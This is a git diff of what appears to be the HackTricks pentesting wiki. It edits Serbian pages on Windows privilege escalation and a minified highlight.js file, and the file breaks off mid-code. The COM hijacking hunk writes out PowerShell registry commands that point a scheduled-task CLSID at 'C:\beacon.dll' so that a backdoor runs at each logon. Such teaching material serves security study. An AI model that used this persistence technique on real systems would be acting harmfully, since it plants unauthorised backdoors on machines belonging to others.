[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat kreiran na osnovu ovog posta (ne zahteva accesschk da bi pravilno radio, ali može ga koristiti).
-**Local**
+**Lokalno**
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje funkcionalne eksploite (lokalni python)\
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje funkcionalne eksploite (lokalni python)
@@ -1404,7 +1404,7 @@ https://github.com/sailay1996/RpcSsImpersonator
_multi/recon/local_exploit_suggestor_
-Morate kompajlirati projekat koristeći ispravnu verziju .NET ([vidite ovo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na žrtvovom hostu, možete uraditi:
+Morate kompajlirati projekat koristeći ispravnu verziju .NET ([vidi ovo](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Da biste videli instaliranu verziju .NET na žrtvovom hostu, možete uraditi:
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index ed3fdaccc..ec9c168f9 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -16,7 +16,7 @@ New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
-### Hijackable Task Scheduler COM komponente
+### Hijackable Task Scheduler COM komponenti
Windows Tasks koriste Custom Triggers za pozivanje COM objekata i pošto se izvršavaju putem Task Scheduler-a, lakše je predvideti kada će biti aktivirani.
@@ -45,7 +45,13 @@ Write-Host
# Uzorak izlaza:
# Ime zadatka: Primer
-# Putanja zadatka
+# Putanja zadatka: \Microsoft\Windows\Primer\
+# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
+# [više poput prethodnog...]
+
+Proverom izlaza možete odabrati jedan koji će biti izvršen **svaki put kada se korisnik prijavi** na primer.
+
+Sada pretražujući CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** u **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** i u HKLM i HKCU, obično ćete otkriti da vrednost ne postoji u HKCU.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@@ -66,6 +72,6 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
-Zatim, možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaša backdoor će se aktivirati.
+Zatim možete jednostavno kreirati HKCU unos i svaki put kada se korisnik prijavi, vaša backdoor će se aktivirati.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/theme/highlight.js b/theme/highlight.js
index 18d24345b..7a0a28869 100644
--- a/theme/highlight.js
+++ b/theme/highlight.js
@@ -3,7 +3,7 @@
License: BSD-3-Clause
Copyright (c) 2006-2020, Ivan Sagalaev
*/
-var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset"}function u(e){s+=""+a(e)+">"}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=``}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?" ":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(/ /g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs);
+var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset"}function u(e){s+=""+a(e)+">"}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=``}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw 